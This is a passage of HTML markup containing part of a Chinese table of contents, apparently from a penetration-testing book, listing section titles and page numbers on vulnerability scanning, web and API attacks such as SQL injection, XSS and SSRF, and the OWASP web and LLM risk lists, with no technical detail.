!important;overflow-wrap: break-word !important;">BloodHound  326</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.3.4数据包检查与窃听  327</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.4理解漏洞扫描的艺术  327</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.4.1理解漏洞扫描的类型  328</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.4.2　运行漏洞扫描时需要考虑的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">挑战  329</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.5　对Web应用程序和API进行信息</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">收集  331</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.5.1　目录和文件暴力破解  331</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.5.2API信息收集  334</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.6　漏洞发现的沟通与编写高效的漏洞</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">挖掘报告  336</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.7技能测试  338</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第10章　渗透现代Web应用程序和</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">API  342</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.1　Web应用攻击、OWASP Web应用</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">十大安全风险和OWASP大语言模</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">型应用十大安全风险概述  343</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.1.1　HTTP  343</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.1.2　理解Web会话  349</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.1.3　Web应用程序的OWASP十大</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全风险  351</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.1.4　大语言模型应用的OWASP十大</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全风险  352</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.2　搭建自己的Web应用程序实验</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">环境  353</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.3　理解业务逻辑缺陷  354</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.4　理解基于注入的漏洞  355</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.4.1　数据库攻击与SQL注入漏洞</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">利用  355</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.4.2　命令注入漏洞  367</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.4.3　轻量级目录访问协议注入</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞  369</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5　利用认证机制漏洞  370</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5.1　凭证暴力破解  370</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5.2　理解会话劫持  371</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5.3　理解重定向攻击  375</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5.4　利用默认凭证  375</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.5.5　Kerberos漏洞利用  376</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.6　利用授权漏洞  377</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.6.1　理解参数污染  377</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.6.2　利用不安全的直接对象引用</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞  378</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.7　理解跨站脚本漏洞  379</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.7.1　反射型XSS攻击  380</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.7.2　存储型XSS攻击  381</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.7.3　XSS绕过技术  385</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.7.4　XSS防护措施  386</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.8　理解跨站请求伪造与服务器端请求</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">伪造攻击  387</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.8.1　服务器端请求伪造攻击  389</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.8.2　使用WebSploit Labs利用服务器</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">端请求伪造漏洞  390</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.9　理解单击劫持  393</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.10　利用安全配置错误  393</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.10.1　利用目录遍历漏洞  393</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.10.2　理解Cookie操纵攻击  394</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.11　利用文件包含漏洞  395</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.11.1　本地文件包含漏洞  395</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.11.2　远程文件包含漏洞  396</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12　利用不安全的编码实践  396</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.1　源代码中的注释  396</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.2　缺乏错误处理和过度冗长的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">错误处理  396</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.3　硬编码凭证  397</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.4　条件竞争  397</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.5　未受保护的API  397</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.6　隐藏元素  400</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.12.7　缺乏代码签名  400</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">10.13　使用更多的Web应用程序黑客</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 